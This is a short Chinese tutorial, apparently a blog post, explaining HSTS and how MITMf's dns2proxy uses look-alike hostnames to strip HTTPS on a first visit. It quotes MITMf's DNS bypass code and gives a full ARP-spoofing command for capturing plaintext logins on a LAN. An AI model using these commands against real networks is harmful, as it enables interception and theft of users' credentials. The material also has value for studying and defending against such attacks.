使用mitmf 來繞過HSTS站點抓取登陸明文
HSTS簡介
HSTS是HTTP Strict Transport Security的縮寫,即:"HTTP嚴格安全傳輸"。當瀏覽器第一次訪問一個HSTS站點,會跳轉(zhuǎn)到https頁面,并種植hsts,下次再訪問此站時,只要HSTS 還在有效期中,瀏覽器就會響應一個 HTTP 307 頭,在不經(jīng)過網(wǎng)絡請求直接本地強制http跳轉(zhuǎn)到https。這樣可以有效防止基于SSLStrip的中間人攻擊,對于偽造的證書,會顯示錯誤,并且不允許用戶忽略警告。
一個hsts 站點響應的例子:
? lab curl -I www.taobao.com
HTTP/1.1 302 Found
Server: Tengine
Date: Tue, 12 Apr 2016 06:18:30 GMT
Content-Type: text/html
Content-Length: 258
Connection: keep-alive
Location: https://www.taobao.com/
Set-Cookie: thw=cn; Path=/; Domain=.taobao.com; Expires=Wed, 12-Apr-17 06:18:30 GMT;
Strict-Transport-Security: max-age=31536000
bypass
mitmf 原理
用戶首次訪問某網(wǎng)站是不受HSTS保護的。這是因為首次訪問時,瀏覽器還未收到HSTS,此時可以劫持站點繞過hsts 。
mitmf 就是利用這個缺陷繞過,當用戶首次訪問時,通過dns2proxy 偽造出一個具體迷惑性的http站點,例如 訪問 www.taobao.com 跳轉(zhuǎn)到 wwww.taobao.com 或者 訪問login.taobao.com 跳轉(zhuǎn)到 weblogin.taobao.com 。
具體代碼 https://github.com/byt3bl33d3r/MITMf/blob/master/core/servers/DNS.py
if hsts:
if qname in hstsconfig:
response = self.hstsbypass(hstsconfig[qname], qname, nameservers, d)
return response
elif qname[:4] == 'wwww':
response = self.hstsbypass(qname[1:], qname, nameservers, d)
return response
elif qname[:3] == 'web':
response = self.hstsbypass(qname[3:], qname, nameservers, d)
return response
演示
kali執(zhí)行
apt-get install mitmf
mitmf -i eth0 --spoof --arp --hsts --gateway 10.211.55.1 --targets 10.211.55.4
ubuntu 打開 www.xxxx.com

hsts_bypass.png